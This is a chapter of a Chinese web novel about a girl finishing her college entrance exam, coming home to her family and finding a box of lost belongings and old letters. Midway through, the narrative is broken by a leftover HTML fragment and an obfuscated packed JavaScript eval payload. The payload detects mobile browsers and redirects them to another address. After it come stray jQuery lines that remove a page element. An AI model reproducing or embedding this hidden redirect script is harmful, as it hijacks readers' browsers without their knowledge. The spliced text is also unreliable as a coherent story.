雨有些大，潮湿的雾气笼罩黄昏。
余念将伞骨抵在肩头，回望被雨幕模糊的校门。‘榕城一中’四个大字被水汽洇得朦胧，像被浸泡的老照片。
她想起三年前那个同样闷热的雨天。
少女拖着行李箱站在樟树斑驳的绿荫下，盛夏的溽热扑面而来，一边和爸妈抱怨这鬼天气。
一晃三年，来去都是这场绵密的雨，为这段时光打了个圆满的结。
高考结束的实感比想象中更轻，仿佛用力扯断风筝线后手心残留的灼痛。没有预想中的狂欢，如同伞骨承不住水珠时倏然坠落的清响，与心跳在耳膜上踏出相似的节拍。
她忽然意识到，原来所有日夜兼程的奔赴，最终都归于这样温吞的雨声。
都过去了。
她攥紧书包带，帆布面料被风吹斜的细雨浸润得有些发凉。
一中的传统，高考完当天，高二的学生就会搬进新高考完的高三教室。
励志标语会被重新张贴，倒计时牌归零重启。年复一年的轮回里，唯有教室后墙的爬山虎记得那些被揉碎的演算纸，记得晚自习时从窗缝溜进来的栀子香。
玻璃窗上凝结的水珠折射着数个晃动的侧影。又是一年新面孔，像万花筒里永不重复的青春标本。
余念笑了笑，撑起伞往家的方向走。
因为家离学校近，只有十几分钟的路程，她一直都是走读。
高考需要提前将教室清空，考完英语后，她随时就能离开。
余念在榕城一中的朋友不多，玩得最好的也只有后桌和同桌。无数次预想的高考后狠狠放松发泄并没有上演，都只从对方眼中看到了释然。
说来也奇怪，每年高考季必定会下雨，后桌顾苒总是调侃，说是因为题太难，把老天爷都气哭了。
而后她们就会一同抱怨天气总是反复无常，将那些深埋心底的情感和解不出来的题目都归因于坏天气。
＊
雨小了下来，淅淅沥沥。
不远处有家花店，门口摆放着姹紫嫣红的花，在这个雾气朦胧的小城市里显得有些兀色。
她停下脚步。
不由自主地想起一个人。
推开花店的门，门上的小铃铛响起清脆的声响。
余念将伞收起来，依靠在门外，“请问有小雏菊吗？”
老板娘是个年轻的女人，她闻声抬头，剪枝的动作没停，笑了声：“刚高考完？”
“这种天气买花，是要去见特别的人吧。”
余念脸颊忽地有些热，正要说话，老板娘从一旁花团锦簇的各种花中选了一束，“今早刚到的雏菊，开得正好。”
递到她手心，“祝高考顺利。”
余念接过，点头笑：“谢谢。”
抱着一大束雏菊推开门时，天已经晴了，太阳躲在云雾后撒下缕缕金丝。
她拎起伞，心情笃染一轻。穿过巷口就看到熟悉的小院子。奶奶梁秀英喜欢在院子里种蔬菜，一场雨过后，蔬菜们个个水灵饱满，翠绿无比。
她小跑过去，推开门，“我回来啦！”
“我们家大英雄回来啦。”梁秀英围了个围裙，举着锅铲从厨房探出头来，满脸笑呵呵的，“这些天累坏了吧，糖醋里脊马上就好啦。”
“还有甜醋鱼。”
余建国的声音争抢着从厨房内传出来，伴随着锅盖阵阵碰撞声，喜气洋洋道：“今儿一大早就去菜市场买回来的鲤鱼，最是新鲜。”
说着，还传来做饭视频讲解的声音，混合着略显嘈杂的背景音乐，与油锅滋滋声交织在一起。
梁秀英用手肘碰了碰他，“将你那手机给关了，吵吵嚷嚷的。”
余建国：“这是国营饭店老师傅的秘方，旁人想吃还吃不到呢。”
梁秀英瞥了一眼手机屏幕，再看老头子那小心翼翼地紧跟步骤做的样子，有些好笑，摇摇头懒得理他。
余念换了鞋，怀中的东西一股脑往旁边的沙发尾一放，整个人就窝在了柔软的沙发里，发出高考后第一声喟叹。
那些披星戴月的苦日子，在这一刻终于化作实形。
高考完了就好了，这句话原来是真的。
她换了个舒服点姿势，朝着厨房喊了一声：“我爸妈哪去了，现在还没回来。”
梁秀英手下动作不停，接下话茬，“他俩今儿一大早就出门了，非说山上的寺庙灵验，一定要去祈福求个好兆头回来，保管咱们念念旗开得胜。”
厨房内又传来食物下锅的滋啦声，混着扑鼻的霸道香气，无孔不入。
余念懒洋洋说：“想不到爸妈也迷信。”
她扭头看了一眼窗户，雨过天晴，隐约有丝丝黄昏的光亮从云层里透出来，使本就闷湿的小城市更为潮热。
梁秀英在围裙上擦了擦手，“刚才还和他俩通电话呢，说马上就回来了，现在也没见人影。”
余建国说，“俩人是去干正事，要给念念祈福去，你老催促人干啥。”
梁秀英瞥他，“刚才不下大雨么，过问两句咋了。”
余念好笑听着俩人日常拌嘴，随手点开了电视遥控。
电视里重播着午间新闻，主持人正在播报高考盛况，字正腔圆的声音与厨房的喧闹织成温暖的网。
梁秀英朝客厅瞅了一眼，思来想去，擦了擦手正打算过去，余建国拉住她。
“老婆子，你干啥去，这里脊肉得蹲着火候，可不能马虎。”
梁秀英压低了声音，“今天不是高考结束嘛，我去问问念念考咋样。”
余建国眉头一皱，“让你平时多上网你非不听，现在的孩子哪能问这种，考都考完了，就不要给孩子平添压力。”
“再说了，考的好与坏又如何，再怎样都是我的好孙女。”
梁秀英看他那样子，笑出声，将围裙重新系好，“行行行，听你的。”
厨房内的俩人还在低声说话，就听到外头一阵汽车引擎声由远及近。
余念听到爸妈的说话声，从沙发上爬起来，“爸妈，你们回来啦。”
“念念，这两天辛苦了，看你都瘦了。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459102|169667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“看我们带什么回来啦。”
夫妻二人双手就没有空闲的，挂满了各种颜色的袋子。
余念愣住，“这些都是...”
余妈笑着拎了拎手中的东西，“都是你喜欢的。”
进屋，关上门。
看着桌子上那些琳琅满目的东西。
有她小时候最爱吃的橡皮糖，有她初中生最想要的mp3，有她高中时最喜欢的周边，甚至还有许多零零散散的小玩意，都是她会喜欢的。
余念望着这些跨越时空的礼物，喉间忽然涌上酸涩，原来那些假装不在意的小心思，爸妈都看在眼里。
余妈围了一条围裙，“今天是个好日子，云蝉寺灵验，定然会保佑咱们念念考的全会，蒙的全对。”
“那必须的。”余爸说，“小小的考试而已，拿下它！”
余念破涕为笑，心安理得地继续躺在沙发上，“那我就等着吃饭啦。”
“得嘞。”
余念重新躺回沙发上，刚拿起遥控器想要给电视换个频道，忽然瞥到沙发另一头开得正好的小雏菊，猛然拍脑袋。
“怎么把这事给忘了...”
想到那个消瘦直立的身影，再看外头的黄昏浮动，她拿起花束就想要出门。
梁秀英注意到余念穿鞋的动作，问了一声：“干啥去，马上就能吃饭了。”
“有急事，想去同学家一趟。”余念说着，弯腰系鞋带的手顿了顿，瞥见门边躺着一只牛皮纸箱。
纸箱边缘洇着深色的水渍，像谁在雨天里怀抱着它走了很久。
她疑惑上前，试着掂量一番，轻飘飘的。
扭头朝屋内问了一句：“谁买了快递吗？送到家门口的。”
梁秀英：“我可不会这些年轻人的网购，老头子最近总是钻研这些，是不是老头子的。”
余建国梗着脖子说，“我可没有，网上到处都在宣传电信诈骗，不要暴露个人信息。”
余爸余妈也都摇头，表示不是自己的东西。
余念思索片刻，先将这个纸盒子给抱进屋，这才发现盒子没有密封，更说明这不是快递。
许是邻居奶奶送来的吃食，余念想。
邻居奶奶常年一人居住，但心态乐观得很，喜欢琢磨吃食，时常给邻里送些，这一条巷子的邻里关系都很好。
余念掀开纸盒子的一边，看到里面装满了“熟悉”之物。
有她遗失的作业本，弄丢的发绳，高一时的校牌...
她皱起眉头，扒拉着纸箱子中的物品，发现角落里躺着一个小铁盒子。
拿出来打开一看，里面是叠得整整齐齐的一叠书信。
数了数，共有十封。这些信没有密封，只折了两层，轻易就能展开。
再看纸箱中全是自己遗失的东西，她下意识拿起最上面的一封信，落款日期是2015年。
映入眼帘的是清秀整齐的字迹。
纸页间漫出的松节油气息将她拽进时光的褶皱。那些不为人知的往事，正在字里行间苏醒。